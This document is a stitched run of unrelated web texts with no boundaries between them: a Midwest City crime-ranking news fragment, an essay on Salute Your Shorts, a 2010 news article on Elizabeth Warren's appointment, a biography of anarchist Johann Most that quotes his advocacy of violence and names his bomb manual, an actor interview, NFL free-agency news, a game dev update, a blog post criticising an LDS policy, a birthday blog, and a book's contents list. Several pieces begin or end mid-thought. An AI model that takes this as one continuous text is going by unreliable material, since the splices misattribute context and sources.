“People who live out of state that don’t know anything about our community will Google us and say, `Oh my gosh I’m not going to come to Midwest City because my life’s in jeopardy!’ Well that’s the furthest from the truth.”
In the past, the blog has ranked Midwest City on one of the safest cities in the state.
Midwest City's Chamber of Commerce has been in contact with Movoto to question their findings on both lists.
Going into that second season, Nickelodeon’s shaggy, sunny comedy about preteens at Camp Anawanna was my favorite show. I loved the manic milieu, the bizarre insults (“You 10-ton traitor tuna!”), and perhaps most of all, its knowledge that there is no funnier word than “fart.” Truly, though, it was a show built on characters, ostensible stereotypes that, through clever writing and earnest performances, were able to (mostly) transcend their quirks to offer an identifiable portrait of adolescence.
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But Pinsky? Pinsky didn’t fit in. He was smug where the others were sassy, savvy where the others were awkward, and, well, adultlike where the others were adolescent. In the end, he even gets the better of potty-mouthed bad boy Bobby Budnick (Danny Cooksey) as well as doltish camp counselor “Ug” Lee (Kirk Bailey), seemingly carving a schism among our central ensemble. Sure, Michael and Budnick feuded early in the first season, but Budnick was also presented as the antagonist. By replacing Michael, Pinsky was the assumed protagonist. This I did not sign up for.
But then something curious happens. By the next episode, there is no schism. Pinsky’s no longer the focus; rather, he’s more or less interwoven into the fabric of the gang’s dynamic, no more or less established than the others. Within a few episodes, even he and Budnick are thick as thieves. This seeming neglect for arc or continuity is something we’d criticize in most shows, but what I realize now, 24 years later, is that it actually serves to highlight part of what made Salute Your Shorts such a singular entity.
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See, when Michael arrives in episode one, he’s the audience surrogate, the new kid whose defining characteristic is his newness. His bunkmates and friends embody broader characteristics: Budnick is the bully; Sponge (Trevor Eyster), the nerd; and Donkey Lips (Michael Bower), the slob; while female counterparts Dina, Z.Z., and Telly (Venus DeMilo) are the rich kid, free spirit, and jock, respectively.
What becomes clear as the show progresses is that creator Steve Slavkin and his team of writers had no real use for a straight man. They were clearly much more interested in peeling back the layers of their supporting cast, each of whom are given episodes centered around them. That’s true for most ensemble shows, but what’s different here is that Salute Your Shorts never frames those journeys through the lens of its ostensible protagonist, as, say, Saved By The Bell did with Zack Morris, who always resided at the heart of each story. As such, Michael recedes some throughout the course of that first season. He remains a fun character, with the writers (and MacArthur, who’s great) highlighting a smart-mouthed boyishness over that initial innocence. Still, that didn’t stop the character from feeling adrift within an ensemble with such clearly defined roles.
MacArthur left the show of his own accord, which came as a surprise to me, since Pinsky, in a way, feels like a course correction. Knowing that it wasn’t the show’s decision, it seems that Slavkin sought not to create a clone of Michael upon his departure, but rather to round out the ensemble with another strong archetype. Pinsky’s street smart, a rakish plan-man who, in many ways, helped relieve Budnick of the multiple roles he was asked to play. And that’s why we get bizarre, unexpected season two episodes like “Budnick Loves Dina,” where we see the sensitivity buried beneath that ginger mullet.
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What I didn’t get as a kid was that I was never supposed to identify with Pinsky. Well, not as a singular whole, like they tried to achieve with Michael, the blank slate onto whom I placed my own insecurities. That I found myself loving the second season even more than the first just proves that I didn’t actually need that evergreen protagonist. The best ensembles, it seems, are the ones where you see a little bit of yourself in everyone, and Salute Your Shorts did that about as well as anyone.
That the show unmoored itself from a central anchor in such a fashion speaks also to the peripatetic nature of its storylines. Rewatching the series, it’s easy to see why the writers couldn’t commit to a clear protagonist—they were far too curious. After the straightforward pilot, Slavkin took a hard left turn into genre with “Ghost Story,” wherein Budnick freaks out his fellow campers with the story of Zeke The Plumber, a mythic figure with a rubber mask and a plunger that, when suctioned to your face, reveals your deepest secrets. It’s a kid-friendly riff on Freddy Krueger, but still pretty freaky—try not shivering a little at the image of a masked adult, replete with a bloody bandage on his nose, rhythmically plunging a toilet in the dead of night. The squelching alone is the stuff of nightmares.
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Every episode’s something different, and they ping-pong between topics with the bug-eyed energy of an adolescent. Even the campers’ interests change from episode to episode: Sometimes Dina likes Michael or Pinsky, but mostly she’s crushing on a rando. Sometimes Sponge is a journalist, but mostly he’s tinkering with computers. Sometimes Donkey Lips is trying to lose weight, but mostly he’s scarfing down everything in sight. It works because, while most adults know what they like, kids like just about everything. Kids want to try everything, and one of Salute Your Shorts’ biggest successes was being able to capture that sense of continual discovery.
And Pinsky’s part of that. The girls’ hyperbolic gushing and easy dismissal of Michael at the beginning of season two speaks to both the excitement of newness and a preteen’s ability to blithely discard the thing that came before. Looking back, it’s also kind of sad. It reminds me of Chuck Klosterman’s essay about Saved By The Bell in Sex, Drugs, And Cocoa Puffs. There he writes about the Tori Paradox, referring to the season of Saved By The Bell that added biker Tori to the ensemble while refusing to acknowledge that main characters Kelly and Jessie were nowhere to be found. Saved By The Bell fans often grouse about it, but Klosterman finds it to be one of the show’s rare truths. Sometimes our best friends fade away for months, sometimes years, he reasoned, while new people enter our lives, fulfilling their roles. Strangers come; friends go. Sometimes we don’t even notice. People are easily replaced, especially when you’re young. Similarly, the friendship Pinsky and Budnick eventually forge is a reminder that sometimes our closest pals begin as our worst enemies. Some of my best friends were total dicks the first time I met them.
Through this lens, the summer camp setting is that much more resonant. These are places where strangers are thrown together in cabins for an established period of time, only to be separated by station wagons at summer’s end, knowing full well they’ll probably never see these people again. And it feels like everything moves faster in that space in between—friendships bloom and wilt in the space of days, obsessions form and fade away. Things that feel life-altering in the moment are all but forgotten the day after.
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Warren was one of the intellectual architects of the new bureau, created by the recent legislation to overhaul financial regulations. The agency is mandated to guard against dangers to consumers from financial products such as mortgages and credit cards, much as the Consumer Product Safety Commission does for toys or jewelry tainted by lead.
A specialist in contract law who rose to national prominence from humble Oklahoma roots, Warren is loved by consumer advocates for her charge-ahead style — and loathed by many business groups for the same reason.
Because she's a lightning rod, she faced a tough Senate confirmation fight if Obama nominated her to head the new bureau for a five-year term as its formal director. The Senate battle could've lasted months.
To avoid that, Obama chose to make her an assistant to the president and special adviser to Treasury Secretary Timothy Geithner, a staff position that doesn't require Senate confirmation. The White House will announce her appointment on Friday, an administration official told McClatchy on condition of anonymity because the announcement's not yet public.
Even without being named the bureau's director, Warren's expected to wield broad power — hiring the staff and setting the mission. Once she's got the bureau up and running, Obama can appoint a formal director, to whom Warren could pass the baton of leadership, the administration official said.
Consumer advocates were thrilled.
"We at the National Consumer Law Center have worked with Elizabeth Warren for years and are excited that she will be instrumental in setting the course for the Consumer Financial Protection Bureau. Elizabeth has a deep understanding of the needs of consumers and the ways in which the financial system has let them down," the advocacy group said in a statement.
In a similar statement, the group Americans for Financial Reform said, "As financial reform moves through the treacherous path of regulation writing, Wall Street is busy trying to thwart regulators from doing the job Congress laid out — keeping the big banks in check. With Elizabeth Warren leading the way, and the public keeping up its vigilance, they will not succeed."
The U.S. Chamber of Commerce was appalled.
"By not allowing Ms. Warren's nomination to be considered through the regular order of the full Senate confirmation process, the administration has circumvented one of the very few checks on a big new agency that already has been given an unprecedented concentration of regulatory powers," David Hirschmann, the president of the chamber's Center for Capital Markets Competitiveness, said in a statement. "This maneuver is an affront to the pledge of transparency and consumer protection that's purported to be the focus of this new agency."
Sen. Olympia Snowe, R-Maine, also was unhappy.
"This agency has enormous, wide-ranging powers, and we can only assess that in a thorough confirmation process. I regret the president is circumventing that process. It's not about Elizabeth Warren. What the president has done raises a very critical question about the direction the president intends to take with the bureau. There are a lot of issues to be explored. To do this in the shadows is only going to facilitate more cynicism," Snowe told McClatchy.
On the other hand, Sen. Jeff Merkley, D-Ore., a Senate Banking Committee member, was delighted.
"It's a superb appointment by the White House. The bill is structured so the agency would be set up in Treasury. She's just the right person to be leading the effort."
Republicans consider Warren hostile to the financial services sector. However, she wears that as a badge of honor, unabashedly critical of how banks duped homeowners and credit card holders in the run-up to the financial system's near collapse in 2008.
In "Capitalism: A Love Story," by liberal filmmaker Michael Moore, Warren made clear her distaste for bank-underwritten mortgages that she felt were wrong for many consumers.
"Financial products, and they are products just like posters, are sold today with the most dangerous features embedded in them because that's what drives profitability," she said in an interview that's an extra on the DVD version. "You can't buy a toaster in America that has a one-in-five chance of exploding, but you can buy a mortgage that has a one-in-five chance of exploding, and they don't have to tell you about it."
"We have consumer protection for everything you touch, taste, feel . . . but there's no equivalent for credit cards, for mortgages, there's nothing," Warren added.
Warren's had a prickly relationship with Geithner, who on paper will be one of her two bosses, Obama being the other.
As the head of the special Congressional Oversight Panel looking into how bank bailout funds are spent, she's clashed repeatedly with Geithner for what she said was a lack of cooperation and transparency. Warren's panel also issued a scathing report last October condemning the lack of progress in the Obama administration's efforts to stem foreclosures.
(David Lightman contributed to this article.)
ELIZABETH WARREN: AT A GLANCE
_ A Harvard University School of Law professor, specializing in contract law.
_ The author of two best-selling books, The Two Income Trap, and All Your Worth.
_ A former chief adviser to National Bankruptcy Review Commission.
_ A member of the Economic Inclusion Committee of the Federal Deposit Insurance Corp.
_ Named by National Law Journal as one of top 50 most influential women attorneys.
_ A former Sunday School teacher with law degree from Rutgers University, and an undergraduate degree from the University of Houston.
_ Born on June 22, 1949, in Oklahoma City and raised in Norman, Okla.
ON THE WEB
Warren's Michael Moore Interview
Warren on the Daily Show in January
Warren on the Daily Show in April 2009 (two parts)
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To ask a question about this story or any economic question, go to McClatchy's economy Q&A
Johann Joseph "Hans" Most (February 5, 1846 in Augsburg, Bavaria – March 17, 1906 in Cincinnati, Ohio) was a German-American anarchist politician, newspaper editor, and orator. He is credited with popularizing the concept of "propaganda of the deed". His grandson was Boston Celtics radio play-by-play man Johnny Most.[1]
Biography [ edit ]
Early years [ edit ]
According to biographer Frederic Trautmann, Johann Joseph Most was born out of wedlock to a governess and a clerk.[2] Most's mother died of cholera when he was very young. Most was subjected to physical abuse by his stepmother and a schoolteacher;[2][3] his aversion to religion earned him more beatings at school.[4] To the end of his life Most was "a militant atheist with the zeal of a religious fanatic" who "knew more Scripture than many clergymen knew".[5]
Most developed frostbite on the left side of his face as a young child. For several years thereafter, flesh rotted and infection spread, with the primitive medicine of the day unable to treat the condition.[2] His condition worsened and Most was diagnosed with terminal cancer.[2] As a last-gasp measure a surgeon was called in. A two-inch section of his jawbone was removed, resulting in permanent disfigurement.[6]
At the age of 12, Most organized a strike of students against a particularly hated teacher, resulting in his expulsion from school.[6] This ended Most's brief period of formal education, forcing him into the workforce as a youth.
Most was apprenticed to a bookbinder, for whom he had to bind books from dawn until sunset, a condition which Most later likened to slavery.[7] At the age of 17 he became a journeyman bookbinder and plied his trade from town to town and job to job, working in 50 cities in 6 countries from 1863 to 1868.[8] In Vienna he was fired and placed on a blacklist for having staged a strike. Unemployable in his trade, he learned to make wooden boxes for hats, cigars, and matches, which he sold on the street until police brought an end to his trade for lacking a license.[9]
Political career [ edit ]
Most as a young man
As the 1860s drew to a close, Most was won over to the ideas of international socialism, an emerging political movement in Germany and Austria. Most saw in the doctrines of Karl Marx and Ferdinand Lassalle a blueprint for a new egalitarian society and became a fervid supporter of the Social Democracy, as the Marxist movement was known in the day.[10]
Most engaged himself as editor of socialist newspapers in Chemnitz and Vienna, both suppressed by the authorities, and of the Berliner Freie Presse (Berlin Free Press). Most was a dedicated advocate of revolutionary socialism, sharing the views expressed by Wilhelm Liebknecht in an 1869 speech that "Socialism cannot be realized within the present state. Socialism must overturn the present state." [11]
In 1873, Most wrote a summary of Karl Marx's Das Kapital.[12] At Liebknecht's request, Marx and Friedrich Engels made some corrections to Most's text for a second edition published in 1876, despite the fact that the pair did not believe the pamphlet represented a satisfactory summary of Marx's work.[12]
In 1874, Most was elected as a Social Democratic deputy in the German Reichstag, in which he served until 1878.[13]
Most was repeatedly arrested for his attacks on patriotism and conventional religion and ethics, and for his gospel of terrorism, preached in prose and in many songs such as those in his Proletarier-Liederbuch (Proletarian Songbook). Some of his experiences in prison were recounted in the 1876 work, Die Bastille am Plötzensee: Blätter aus meinem Gefängniss-Tagebuch (The Bastille on Plötzensee: Pages from my Prison Diary).
After advocating violent action, including the use of explosive bombs, as a mechanism to bring about revolutionary change, Most was forced into exile by the government. He went to France but was forced to leave at the end of 1878, settling in London. There he founded his own newspaper, Freiheit (Freedom), with the first issue coming off the press dated January 4, 1879.[14] Convinced by his own experience of the futility of parliamentary action, Most began to espouse the doctrine of anarchism, which led to his expulsion from the German Social Democratic Party in 1880.[15]
In June 1881, Most expressed his delight in the pages of the Freiheit over the assassination of Alexander II of Russia and advocated its emulation; for this Most was imprisoned by British authorities for a year and a half.
Life in the United States [ edit ]
Anything that can tear up the side of a mountain should definitely be effective against a high society party attended by royalty or capitalist exploiters (monopolists). —Johann Most, Science of Revolutionary Warfare[16]
Freiheit (German for "freedom") Cover of(German for "freedom")
Most in his later years
Encouraged by news of labor struggles and industrial disputes in the United States, Most emigrated to the US upon his release from prison in 1882. He promptly began agitating in his adopted land among other German émigrés. Among his associates was August Spies, one of the anarchists hanged for conspiracy in the Haymarket Square bombing, in whose desk police found an 1884 letter from Most promising a shipment of "medicine," his code word for dynamite.[17]
Most resumed the publication of the Freiheit in New York. He was imprisoned in 1886, again in 1887, and in 1902, the last time for two months for publishing after the assassination of President McKinley an editorial in which he argued that it was no crime to kill a ruler.
"Whoever looks at America will see: the ship is powered by stupidity, corruption, or prejudice," Most said.[18][19]
Most initially advocated traditional collectivist anarchism,[20] but later embraced anarchist communism.[21] According to libertarian Jeff Riggenbach:[22]
Most's approach to anarchism stressed two main ideas: first, that it was necessary to abolish not only the state, but also the social institutions known as private property and the free market; second, that the intelligent anarchist must avail himself of what Most and many other anarchists of the time called "propaganda of the deed"—acts of violence that would inspire the masses and sweep them up in revolutionary fervor.
Most was famous for stating the concept of the Propaganda of the Deed (Attentat): "The existing system will be quickest and most radically overthrown by the annihilation of its exponents. Therefore, massacres of the enemies of the people must be set in motion."[23] Most is best known for a pamphlet published in 1885: The Science of Revolutionary Warfare, a how-to manual on the subject of bomb-making which earned the author the moniker "Dynamost."
A gifted orator, Most propagated these ideas throughout Marxist and anarchist circles in the United States and attracted many adherents, most notably Emma Goldman and Alexander Berkman.
Inspired by Most's theories of Attentat, Emma Goldman and Alexander Berkman, enraged by the deaths of workers during the Homestead strike, put words into action with Berkman's attempted assassination of Homestead factory manager Henry Clay Frick in 1892. Berkman and Goldman were soon disillusioned as Most became one of Berkman's most outspoken critics. In Freiheit, Most attacked both Goldman and Berkman, implying Berkman's act was designed to arouse sympathy for Frick.[24] Goldman's biographer Alice Wexler suggests that Most's criticisms may have been inspired by jealousy of Berkman.[25] Goldman was enraged, and demanded that Most prove his insinuations. When he refused to respond, she confronted him at next lecture.[24] After he refused to speak to her, she lashed him across the face with a horsewhip, broke the whip over her knee, then threw the pieces at him.[24] She later regretted her assault, confiding to a friend, "At the age of twenty-three, one does not reason."
Most was in Cincinnati, Ohio to give a speech when he fell ill. He was diagnosed with erysipelas. The doctors could do little for him, and he died a few days later.
Works [ edit ]
Note: This list includes only titles published in German or English. Some of Most's writings were translated into Italian, Spanish, Russian, Yiddish, French, Polish, and other languages.
Neuestes Proletarier-Liederbuch von Verschiedenen Arbeiterdichtern (Latest Proletarian Songbook by Various Worker-Poets). Chemnitz: Druck und Verlag der Genossenschafts-Buchdruckerei, 1873.
(Latest Proletarian Songbook by Various Worker-Poets). Chemnitz: Druck und Verlag der Genossenschafts-Buchdruckerei, 1873. Kapital und Arbeit: Ein Populärer Auszug aus "Das Kapital" von Karl Marx (Capital and Labor: A Popular Excerpt from "Capital" by Karl Marx). Chemnitz: G. Rübner, n.d. [1873]. Revised 2nd edition, 1876.
(Capital and Labor: A Popular Excerpt from "Capital" by Karl Marx). Chemnitz: G. Rübner, n.d. [1873]. Revised 2nd edition, 1876. Die Pariser Commune vor den Berliner Gerichten: Eine Studie über Deutschpreussische Rechtszustände. (The Paris Commune in Front of Berlin Courts: A Study of German-Prussian Legal Conditions). Brunswick, Germany: Bracke Jr., 1875.
(The Paris Commune in Front of Berlin Courts: A Study of German-Prussian Legal Conditions). Brunswick, Germany: Bracke Jr., 1875. Die Bastille am Plötzensee: Blätter aus meinem Gefängniss-Tagebuch (The Bastille on Plötzensee: Pages from my Prison Diary). Brunswick, Germany: W. Bracke, 1876.
(The Bastille on Plötzensee: Pages from my Prison Diary). Brunswick, Germany: W. Bracke, 1876. Der Kleinbürger und die Socialdemokratie: Ein Mahnwort an die Kleingewerbtreibenden (The Petty-Bourgeois and Social-Democracy: A Warning to Small Businessmen). Augsburg: Verlag der Volksbuchhandlung, 1876.
(The Petty-Bourgeois and Social-Democracy: A Warning to Small Businessmen). Augsburg: Verlag der Volksbuchhandlung, 1876. Gewerbe-Ordnung für das Deutsche Reich: Mit Erläuterung der für den Arbeiter wichtigsten Bestimmungen (The Industrial Code of the German Empire: With Commentary on the Most Important Provisions for the Worker). Leipzig: Verlag der Genossenschaftsbuchdruckerei, 1876.
(The Industrial Code of the German Empire: With Commentary on the Most Important Provisions for the Worker). Leipzig: Verlag der Genossenschaftsbuchdruckerei, 1876. Freizügigkeits-Gesetz, Impf-Gesetz, Lohnbeschlagnahme-Gesetz, Haftpflicht-Gesetz: Mit Erläuterung der für den Arbeiter wichtigsten Bestimmungen (The Law on Freedom of Movement, the Law on Vaccination, the Law on Wage Attachment, the Law on Liability: With Commentary on the Most Important Provisions for the Worker). Leipzig: Verlag der Genossenschaftsbuchdruckerei, 1876.
(The Law on Freedom of Movement, the Law on Vaccination, the Law on Wage Attachment, the Law on Liability: With Commentary on the Most Important Provisions for the Worker). Leipzig: Verlag der Genossenschaftsbuchdruckerei, 1876. "Taktika" contra "Freiheit": Ein Wort zum Angriff und zur Abwehr ("Tactics" versus "Freedom": A Word on Attack and Defence). London: Freiheit, n.d. [c. 1881].
("Tactics" versus "Freedom": A Word on Attack and Defence). London: Freiheit, n.d. [c. 1881]. Revolutionäre Kriegswissenschaft: Eine Handbüchlein zur Anleitung Betreffend Gebrauches und Herstellung von Nitro-Glycerin, Dynamit, Schiessbaumwolle, Knallquecksilber, Bomben, Brandsätzen, Giften usw., usw. (The Science of Revolutionary Warfare: A Little Handbook of Instruction in the Use and Preparation of Nitroglycerine, Dynamite, Gun-Cotton, Fulminating Mercury, Bombs, Fuses, Poisons, Etc., Etc.). New York: Internationaler Zeitung-Verein, c. 1883.
(The Science of Revolutionary Warfare: A Little Handbook of Instruction in the Use and Preparation of Nitroglycerine, Dynamite, Gun-Cotton, Fulminating Mercury, Bombs, Fuses, Poisons, Etc., Etc.). New York: Internationaler Zeitung-Verein, c. 1883. Die Freie Gesellschaft: Eine Abhandlung über Principien und Taktik der Kommunistischen Anarchisten: Nebst Einem Polemischen Anhang (The Free Society: An Essay on the Principles and Tactics of the Communist Anarchists: With a Polemical Appendix). New York: self-published, 1884.
(The Free Society: An Essay on the Principles and Tactics of the Communist Anarchists: With a Polemical Appendix). New York: self-published, 1884. August Reinsdorf und die Propaganda der That (August Reinsdorf and Propaganda of the Deed). New York: self-published, 1885.
(August Reinsdorf and Propaganda of the Deed). New York: self-published, 1885. Acht Jahre hinter Schloss und Riegel. Skizzen aus dem Leben Johann Most's. (Eight years Under Lock and Key: Sketches from the Life of Johann Most). New York: self-published, 1886.
(Eight years Under Lock and Key: Sketches from the Life of Johann Most). New York: self-published, 1886. Die Hoelle von Blackwells Island (The Hell of Blackwells Island). New York: self-published, 1887.
(The Hell of Blackwells Island). New York: self-published, 1887. An das Proletariat (To the Proletariat). New York: J. Müller, 1887.
(To the Proletariat). New York: J. Müller, 1887. Die Eigenthumsbestie (The Property Beast). New York: J. Müller, 1887. English: The Beast of Property: Total Annihilation Proposed as the Only Infallible Remedy: The Curse of the World which Defeats the People's Emancipation. New Haven, CT: International Workingmen's Ass'n, Group New Haven, n.d. [c. 1890].
(The Property Beast). New York: J. Müller, 1887. English: New Haven, CT: International Workingmen's Ass'n, Group New Haven, n.d. [c. 1890]. Die Gottespest (The God Pestilence), New York: J. Müller, 1887. English: The Deistic Pestilence and Religious Plague of Man, n.d. [1880s]. Reissued as The God Pestilence.
(The God Pestilence), New York: J. Müller, 1887. English: n.d. [1880s]. The Accusation! A Speech Delivered by John Most, at Kramer's Hall, New York, on November 13, 1887, in Denunciation of the Judicial Butchery of the Chicago Anarchists: For Delivering Which, He Has Been Sentenced to Twelve Month's Imprisonment by Judge Cowing. London: International Publishing Co., n.d. [c. 1887].
London: International Publishing Co., n.d. [c. 1887]. Vive la Commune. New York: J. Müller, 1888.
New York: J. Müller, 1888. Der Stimmkasten (The Ballot Box). New York: J. Müller, 1888.
(The Ballot Box). New York: J. Müller, 1888. The Social Monster: A Paper on Communism and Anarchism. New York: Bernhard and Schenck, 1890.
New York: Bernhard and Schenck, 1890. The Free Society: Tract on Communism and Anarchy. New York: J. Müller, 1891.
New York: J. Müller, 1891. Zwischen Galgen und Zuchthaus (Between Gallows and Penitentiary). New York: J. Müller, 1892.
(Between Gallows and Penitentiary). New York: J. Müller, 1892. Anarchy Defended by Anarchists. With Emma Goldman. New York: Blakely Hall, 1896.
With Emma Goldman. New York: Blakely Hall, 1896. Down with the Anarchists! This is the War-Cry Raised by President Roosevelt and Echoed by the Congress of the United States. Now, Then, Hear the Other Side! The Anarchists will Take the Floor. Listen!. New York: John Most, n.d. [c. 1905].
New York: John Most, n.d. [c. 1905]. Memoiren, Erlebtes, Erforschtes und Erdachtes (Memoirs: Experiences, Explorations, and Thoughts). In 4 volumes. New York: Selbstverlag des Verfassers, 1903–1907.
"I have no idea," Levi told Den of Geek. "They have not told me anything. I hope so. I think that’d be pretty fun to get the gang back together, the Warriors Three. But there’s a reason why the movie’s called Thor and not The Warriors Three. They’ve got to do what’s right for Thor."
Two of Thor's closest allies have leading roles in television shows this fall season -- Levi with Heroes Reborn and Jaimie Alexander with Blindspot. Will those commitments get in the way of their potential Thor 3 returns? "I think they’re shooting for next summer so it really just depends on when in the summer," Levi explained. "I know when they’re going to shoot, only because, like everyone knows, when the film’s actual releasing because Marvel’s already slotted all that out which I think is again the following November which is what the last Thor was. So they’ve got to shoot it next Summer. I don’t know. It’d be a lot of fun but there’s also a lot of other Marvel roles that I’d love to play one day. If I never get to play Fandral again, I got to do it once and it was a great group to work with." Levi wants to play other Marvel roles? Is that even possible?
Allen revealed Tuesday that the 'Skins have engaged in contract talks with Orakpo's agent, as well as representatives for impending free agents DeAngelo Hall and Perry Riley, per The Washington Times.
Orakpo's rookie deal is set to expire, and he would be one of the best players on the market if the Redskins let him go. (Orakpo was ranked No. 3 in ATL's list of top 2014 free agents.) Orakpo qualified for his third Pro Bowl in 2013, recording 10 sacks and a pick six. He and bookend Ryan Kerrigan form one of the best linebacker duos in the NFL, a strength for the porous Redskins defense.
Pass rushers like Clay Matthews, DeMarcus Ware and Tamba Hali all top the $11 million mark in average salary per year, and that's the kind of money Orakpo likely will seek. If the Redskins can't agree with him on a new deal, the franchise tag is an option.
Retaining the services of Hall and Riley also is a priority.
Hall was resurgent in 2013 and with the struggling Josh Wilson set to be a free agent, keeping Hall is important. The veteran cornerback scored three defensive touchdowns, recorded four interceptions and added a career-high four forced fumbles last season.
Riley has been a durable inside linebacker for the Redskins since being drafted in the fourth round of the 2010 draft, starting in all 16 games over the past two seasons. Now that London Fletcher has retired, the team will have to find at least one new starter in the middle, and Riley would represent some stability in Jim Haslett's 3-4 defense.
With 19 players set to hit free agency, Jay Gruden will be searching for several new starters. Fortunately for the first-year head coach, the Redskins finally will have some salary-cap room with the expiration of the NFL-imposed $36 million penalty.
As per the last Mondoid, we’re hard at work plugging away at all the things we said we’d be plugging away at last time so this Mondoid is just going to be a bit of us reporting in, with a little bit of new stuff to prevent Mathas from having to talk for ten minutes about puppies again.
So first, new thing!
Woop! Yep, you can now burn all those zombie corpses you’ve been stacking and thus re-create “the pit” from “The Last Man on Earth” / “I Am Legend” (the book, let’s not mention the film) except with additional accidentally setting yourself on fire.
All this moving and burning of corpses is paving the way for disease and other unpleasantness as a result of having rotting corpses decorating the inside of your safehouse – something we’ve wanted to deal with for a long time but would have been horribly punishing without a mechanic for removing / destroying bodies. But now we have that, we can have the other. HOORAY!
The Reporting In Bit
The game world, so far, consists of Muldraugh, West-Point, and a bit to the north containing a bunch of stuff including a (really, really big) mall and the amusingly-named “Knob Creek” *muffled laughter*. It’s pretty big, so far as hand-made game maps go BUT NOT BIG ENOUGH. To put everything into perspective, this image shows the areas mentioned above and then I’ve indicated the areas currently in progress.
Wowzers. Quite big, eh? So don’t be expecting this map expansion like, tomorrow, or anything since as you can see we’re talking about doubling the size of what’s there currently. And it’s not just bigger in area – that bit to the north? You know what’s up there, don’t you? Yep. A city. Which means that whooooole area is jam-packed with high-density buildings. So we’re talking twice the area but significantly more than twice the number of buildings (and… well, flupping loads of zombies too).
So, yeah…
It’s been a whirlwind of crazy in the Mormon internet scene the last 24 hours. You know why, and if you don’t, go and read The New York Times. Now, let me tell you why all the justifications I’ve heard for this new policy suck.
“This is to protect families.”
Newsflash: the LDS church doesn’t want to protect gay families. It doesn’t even consider them actual families. You can’t have it both ways, guys. And last time I checked, denouncing your parents at 18 isn’t any more “protective” of your family than at 14.
“This policy is no different from the policy regarding the children of polygamists.”
Sure. It’s the same as the policy for kids who are born to polygamists living as former prophets taught them to. But it’s not the same as the policy for the children of murderers, rapists, adulterers, child pornography producers, drug cartels, or creators of pyramid schemes. (Worth mentioning because Utah.)
Polygamy was illegal. It is also intrinsic to our eternal doctrine. So I mean, there’s that.
Oh, and people choose to be polygamous. (Unless you’re Helen Marr Kimball and your dad makes you.) People don’t choose to be gay. Children don’t choose to be born to parents who are either.
“This is to prevent kids from experiencing conflict between what their parents teach them and what the church teaches.”
My parents let me drink alcohol from the age of like… 12. They were not religious at all. They regularly told me reasons the church was bad. They also encouraged “having sex with enough people to figure out who you’re compatible with”, and only one of them gave me permission to get baptized. That was good enough for the church, who are absolutely fine with kids leaving the majority of their parents’ religions, lifestyles, and beliefs in order to join the church. There are endless other scenarios where a child is taught differently at home than at church.
“This stops kids and parents from being divided.”
My parents couldn’t attend my wedding because they aren’t Mormon.
“This enables children to make the decision at a time when they can better understand things.”
YOU TELL 8-YEAR OLDS TO MAKE ETERNAL COVENANTS. THEY STILL BELIEVE IN SANTA CLAUS.
Also, the church thought a 14-year-old (well, several) was old enough to get married to a 36-year-old man, which certainly caused her distress and conflict. Why can’t a 14-year-old be old enough to get baptized into a church most people join at 8?
(That being said, most 18-year-olds in their right minds wouldn’t disavow their parents right to be parents in order to join the Mormon church. So both the church and those children are protected by this policy. Just not saved in the kingdom of God. Wohoo!)
“This policy came from God, not man. It’s Christ’s church.”
Was the policy denying blacks the priesthood from God? Not according to the church’s modern essay on the subject. Was polyandry from God? Was blood atonement from God? Was the doctrine of interracial marriage being an eternal sin from God? Was the practise of even the PROPHET lying to the law about polygamy after the manifesto from God? Was Adam-God theory from (Adam-)God? There are a LOT of things the church has said and done that it now fervently denies were EVER from God.
Finally, let’s be clear that there is absolutely no scriptural or doctrinal justification for this new policy. In fact, there is an extremely solid case to be made that it’s anti-scripture and anti-doctrine. (See: Article of Faith #2, the words of Christ, etc.)
In my opinion, there are some much more realistic reasons the church might not want the children of gay parents being baptized:
Allowing the kids of gay people to be baptized would expose members to the (shock, horror!) kids of gay parents, and would probably highlight the fact that gay people can raise very healthy, happy children.
Allowing the kids of gay people to be baptized would force the church to record their parents as their parents. But they’re gay. So they can’t really be married or considered parents or a family in the eyes of the church.
Not allowing the kids of gay people to be baptized further shames gay people/creates negativity surrounding gay issues, which is exactly what the church needs to do in order to cling on to its fraying and ever-changing doctrines.
The children of gay parents are, naturally, going to be more sympathetic to “the gay agenda”. People trying to change the church from the inside is not on the church’s own agenda.
This caller shared that he felt I had a Pollyannaish view on life, based on the tone of the show. He then questioned whether or not I would have the same optimistic attitude and inspirational perspective another twenty years from now, after I’d experienced a bit more of life.
He solidified his stance, by saying, “Life takes a toll on people.”
This week, I’m blessed to be celebrating my 37th birthday.
I still feel relatively young.
I would like to think I look even younger. 🙂
Yet, I’m often greeted with the reality of aging by my barber, who quips about my thinning hair, or my aching body, the day after a grueling workout.
Father Time has no favorites, and with each breath we take, the clock tics to keep us in time’s rhythm.
What that caller didn’t know is that he doesn’t have to wait twenty years to see if life takes its toll. What I’ve learned in my short time on earth, is that life will take whatever toll we’re willing to pay.
Plenty of things have happened to me that I would have never chosen.
Life has already handed me a share of bumps and bruises.
That’s life…
Sh*t happens!
In the last twenty years, I’ve made some terrible decisions that have led to tough consequences. My life has been marked by plenty of failures and mistakes; nevertheless, I’m still here to celebrate another year, so this week I would like to share a few things that have made all the difference for me and my attitude on life:
Despite what happens, I have chosen to view my circumstance with a positive lens. I have chosen to be an optimist. Being a pessimist is just no fun! Wisdom is rare, so if I work to acquire wisdom, maybe I can lead a life that is rare. I believe in being mentored and in mentoring others – two free ways to instill important principles and learn invaluable lessons. Time used to gain knowledge is time well spent. I will be a life-learner! Integrity matters. I haven’t perfected this, but my life’s work will be to keep my thoughts, words and actions aligned. I will always strive to be authentically me, no matter who disagrees. I endeavor to embrace vulnerability, truly love and accept the love that comes back at me. (Scary and rewarding.)
This week marks my birthday, so instead of just asking you to reflect, I’m also asking you for a simple, but important gift.
Please , take some time to reflect on what’s made a difference in your life, then identify a young person who needs a mentor. Take a sincere interest in this young person’s life and pour wisdom into them.
I wouldn’t be who I am today, if others hadn’t cared enough to share their time, resources and knowledge.
As for that caller…
Twenty years from now, my hope is that I am more deeply rooted in the perspective that an optimistic attitude leads to a positive life.
Twenty years from now, my hope is that I’ve led a life of purposeful action, which creates a positive influence that has a reverberating and exponential impact on countless others I will never know nor meet.
If that is the life I can live, its tolls, I will gladly undertake.
Thanks in advance for the gift.
This book is published by Lexington Books, and is available from the publisher’s web site as well as from Amazon.com and other book retailers.
Table of Contents
1. The How of the Market
Introduction to market process of value creation. Discussion on the “messiness” of the market, how the real market is not optimal; what drives the market. Individual choice vs aggregate phenomena, and the role of opportunity cost
2. The Price is Right
Discussion on the role of prices, how price determination works and what it means. The price “mechanism” and its central role in the market. The visibility of the invisible hand, and the allocation of resources.
3. What Prices Communicate
